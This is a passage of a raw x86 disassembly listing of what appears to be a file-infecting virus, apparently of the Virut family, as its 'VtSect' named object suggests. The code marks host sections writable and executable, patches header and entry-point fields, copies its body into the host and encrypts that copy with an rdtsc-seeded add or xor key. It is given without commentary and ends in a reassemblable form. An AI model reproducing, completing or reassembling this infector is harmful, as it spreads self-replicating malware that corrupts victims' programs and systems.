		mov	edx, [ebp+1042F4h]
		test	edx, edx
		jz	loc_48071D
		mov	esi, [ebp+1042B4h]
		mov	ecx, [edx+10h]
		or	dword ptr [edx+24h], 0E0000060h
		sub	ecx, [edx+8]
		jnb	short loc_48069C
		xor	ecx, ecx


loc_48069C:				; CODE XREF: sub_48045B+23Dj
		add	esi, [edx+14h]
		cmp	ecx, [ebp+101069h]
		mov	ecx, [ebp+101069h]
		jb	short loc_480703
		mov	edi, [esp+14h+var_14]
		and	dword ptr [ebp+101069h], 0
		and	dword ptr [edi+69h], 0
		mov	edi, [edx+8]
		add	[edx+8], ecx
		add	esi, edi
		xchg	esi, edi
		mov	eax, [ebp+1042C8h]
		test	dword ptr [ebp+1039C0h], 40h
		jz	short loc_4806DC
		neg	dword ptr [eax]


loc_4806DC:				; CODE XREF: sub_48045B+27Dj
		add	esi, [edx+0Ch]
		sub	[eax], esi
		mov	[ebp+104300h], esi
		mov	esi, [ebx+28h]
		add	[eax], esi
		test	dword ptr [ebp+1039C0h], 40h
		jz	short loc_4806FA
		neg	dword ptr [eax]


loc_4806FA:				; CODE XREF: sub_48045B+29Bj
		push	ecx
		call	loc_48032B
		pop	ecx
		jmp	short loc_48070F
; ---------------------------------------------------------------------------


loc_480703:				; CODE XREF: sub_48045B+250j
		add	esi, [ebx+28h]
		sub	esi, [edx+0Ch]
		push	ecx
		push	esi
		rep movsb
		pop	edi
		pop	ecx


loc_48070F:				; CODE XREF: sub_48045B+2A6j
		lea	esi, [ebp+1039CCh]
		mov	[ebp+104304h], edi
		rep movsb


loc_48071D:				; CODE XREF: sub_48045B+20Ej
					; sub_48045B+224j
		pop	edi
		pop	esi
		rdtsc
		xchg	eax, edx
		lea	eax, [edi+137h]
		cmp	dl, [ebp+1039BEh]
		jnz	short loc_480736
		imul	edx, 12345678h


loc_480736:				; CODE XREF: sub_48045B+2D3j
		mov	[eax-19h], dx
		call	sub_47E120
		pop	edx
		mov	ecx, [edx+0Ch]
		add	ecx, [edx+10h]
		test	dword ptr [ebp+1039C0h], 20000000h
		lea	eax, [ecx+5]
		jnz	short loc_480768
		mov	[ebp+104300h], ecx
		add	eax, [ebp+101069h]
		and	dword ptr [edi+69h], 0


loc_480768:				; CODE XREF: sub_48045B+2F8j
		sub	eax, [ebx+28h]
		mov	[edi+54h], eax
		test	dword ptr [ebp+103F7Ch], 1
		jz	short loc_480784
		mov	dword ptr [ebx+8], 0A0A0A0A0h


loc_480784:				; CODE XREF: sub_48045B+320j
		test	dword ptr [ebp+1039C0h], 400000h
		jz	short loc_480797
		push	edx
		call	sub_47FEF1
		pop	edx


loc_480797:				; CODE XREF: sub_48045B+333j
		mov	ecx, [ebp+104300h]
		jecxz	short loc_4807A4
		mov	[ebx+28h], ecx
		jmp	short loc_4807B1
; ---------------------------------------------------------------------------


loc_4807A4:				; CODE XREF: sub_48045B+342j
		mov	ecx, [ebp+1042FCh]
		jecxz	short loc_4807AE
		jmp	short loc_4807B1
; ---------------------------------------------------------------------------


loc_4807AE:				; CODE XREF: sub_48045B+34Fj
		mov	ecx, [ebx+28h]


loc_4807B1:				; CODE XREF: sub_48045B+347j
					; sub_48045B+351j
		test	dword ptr [ebp+1039C0h], 3
		jz	short loc_4807D1
		mov	eax, [ebp+104304h]
		add	ecx, [ebp+1042ECh]
		add	eax, [ebp+1042E8h]
		add	[eax], ecx


loc_4807D1:				; CODE XREF: sub_48045B+360j
		mov	ecx, [edx+10h]
		mov	eax, [ebp+1042B8h]
		cmp	[edx+8], ecx
		jnb	short loc_4807E2
		mov	[edx+8], ecx


loc_4807E2:				; CODE XREF: sub_48045B+382j
		add	[edx+10h], eax
		and	dword ptr [ebx+58h], 0
		mov	eax, [ebp+1042C0h]
		push	29CCh
		add	[edx+8], eax
		pop	ecx
		add	[ebx+50h], eax
		mov	dl, [ebp+1039BEh]
		test	dword ptr [ebp+1039C0h], 20000000h
		jz	short loc_480813
		add	ecx, [ebp+101069h]


loc_480813:				; CODE XREF: sub_48045B+3B0j
		mov	dh, 0
		test	dword ptr [ebp+1039C0h], 20000h
		jnz	short loc_480835
		inc	dh
		test	dword ptr [ebp+1039C0h], 40000h
		jnz	short loc_480835
		mov	dh, [ebp+1039BFh]


loc_480835:				; CODE XREF: sub_48045B+3C4j
					; sub_48045B+3D2j
		test	dword ptr [ebp+1039C0h], 4000h
		jnz	short loc_48084C


loc_480841:				; CODE XREF: sub_48045B+3EDj
		mov	al, [edi]
		add	al, dl
		stosb
		add	dl, dh
		loop	loc_480841
		jmp	short loc_480855
; ---------------------------------------------------------------------------


loc_48084C:				; CODE XREF: sub_48045B+3E4j
					; sub_48045B+3F8j
		mov	al, [edi]
		xor	al, dl
		stosb
		add	dl, dh
		loop	loc_48084C


loc_480855:				; CODE XREF: fuck:00480456j
					; sub_48045B+11j ...
		xor	edx, edx
		mov	esp, fs:[edx]
		pop	dword ptr fs:[edx]
		pop	eax
sub_48045B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_48085E	proc near		; CODE XREF: sub_48045B+18Dp
		cmp	dword ptr [ebp+104298h], 0
		jz	locret_48032A
		push	dword ptr [ebp+1042B4h]
		call	dword ptr [ebp+103EEEh]


loc_480877:				; CODE XREF: sub_480259+C5j
		push	dword ptr [ebp+1042B0h]
		call	dword ptr [ebp+103E62h]
		lea	ecx, [ebp+10429Ch]
		lea	edx, [ebp+1042A4h]
		push	ecx
		push	edx
		push	0
		push	dword ptr [ebp+104298h]
		call	dword ptr [ebp+103EE2h]


loc_48089F:				; CODE XREF: sub_480259+6Bj
					; sub_480259+82j ...
		push	dword ptr [ebp+104298h]
		call	dword ptr [ebp+103E62h]


loc_4808AB:				; CODE XREF: sub_480259+45j
		lea	esi, [ebp+104184h]
		push	dword ptr [ebp+104294h]
		push	esi
		call	dword ptr [ebp+103EDEh]
		and	dword ptr [ebp+104298h], 0
		retn
sub_48085E	endp

; ---------------------------------------------------------------------------
		dw 0E8h
		dd 5D000000h, 0ED81016Ah, 1038CBh, 0C10FF058h, 10158885h
		dd 0C3C08500h, 0F0FFC883h, 8885C10Fh, 0C3001015h, 2A00103Dh
		dd 661C7500h, 0C247C81h, 1375716Ch, 0FFC4E860h,	575FFFFh
		dd 0FFFAB5E8h, 0FFD2E8FFh, 2E61FFFFh, 56782DFFh, 25B81234h
		dd 60000000h, 0FFFFA5E8h, 8B3975FFh, 8D302444h,	104184B5h
		dd 8508B00h, 63A8166h, 56257302h, 0FF000068h, 6AC48B00h
		dd 0FF505200h, 103F2E95h, 8C48300h, 3F5C3E81h, 3755C3Fh
		dd 0E804C683h, 0FFFFFA62h, 0FFFF7FE8h, 0B8C361FFh, 74h
		dd 2FB8B1EBh, 0E8000000h, 1Dh, 0B80020C2h, 30h,	10E8h
		dd 24C200h, 185B8h, 3E800h, 2CC20000h, 24548D00h, 832ECD0Ch
		dd 197C00F8h, 0E860h, 548B0000h, 8B5D3024h, 0A2ED811Ah
		dd 0E8001039h, 0FFFFE0B3h, 4C261h, 6020307h, 5AAA0105h
		dd 0B430E0FAh, 109C15FFh, 0FF8B0100h, 56FB9h, 43DB2100h
		dd 0DC0A4B40h, 0AC05DB21h, 900004Fh, 432445DDh,	0DD1BE432h
		dd 45E2D47h, 0ED3B0000h, 58F0Fh, 0B2050000h, 2A000023h
		dd 84344BE3h, 4F972443h, 4853DD0Bh, 1D4F4F58h, 4CCCh, 0BEED2340h
		dd 47C085h, 4043DB21h, 21DC0A4Bh, 4FAC05DBh, 0DD090000h
		dd 32432445h, 47DD1BE4h, 45E2Dh, 0FED3B00h, 58Fh, 23B20500h
		dd 0E32A0000h, 4384344Bh, 0B4F9724h, 584853DDh,	0CC1D4F4Fh
		dd 4000004Ch, 0E8ED23h,	5A000000h, 2104C283h, 4B4043DBh
		dd 0DB21DC0Ah, 4FAC05h,	45DD0900h, 0E4324324h, 2D47DD1Bh
		dd 45Eh, 8F0FED3Bh, 5, 23B205h,	4BE32A00h, 24438434h, 0DD0B4F97h
		dd 584853h, 0E5h dup(0)
		dd offset aTdTdWidthDCode+14h
aAsenamedobject:
		unicode	0, <aseNamedObjects\VtSect>,0
		dw 9B47h
		dd 8AD7C80h, 3317C83h, 0ADA07C91h, 7C80h, 0
		dd 0BDB60000h, 1A247C80h, 945C7C80h, 23677C80h,	42C7C80h
		dd 6377C81h, 4B0F7C81h,	0C0587C86h, 0E7EC7C80h,	0ABDE7C80h
		dd 153C7C80h, 0A777C81h, 1C457C81h, 0B6A17C83h,	8FF7C80h
		dd 5DCA7C86h, 11DA7C83h, 2ADE7C81h, 1BA57C81h, 1D777C82h
		dd 0B9057C80h, 0BB767C80h, 9E17C80h, 3DE57C83h,	3F587C86h
		dd 27827C86h, 1CB87C81h, 24427C83h, 0B1C7C80h, 0B9747C81h
		dd 9A517C80h, 0D877C80h, 0D4607C81h, 0D6827C90h, 0D7547C90h
		dd 0D7697C90h, 0D7937C90h, 7C90h, 0DC550000h, 0DCFD7C90h
		dd 0DD907C90h, 0DDBA7C90h, 0DEB67C90h, 0E0457C90h, 0EA327C90h
		dd 30C67C90h, 7C91h, 14h dup(0)
		dd 320030h, 480F8Ch, 42005Ch, 730061h, 4E0065h,	6D0061h
		dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h,	740056h
		dd 650053h, 740063h, 1411h dup(0)
fuck		ends

; Section 5. (virtual address 00086000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00086000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 486000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start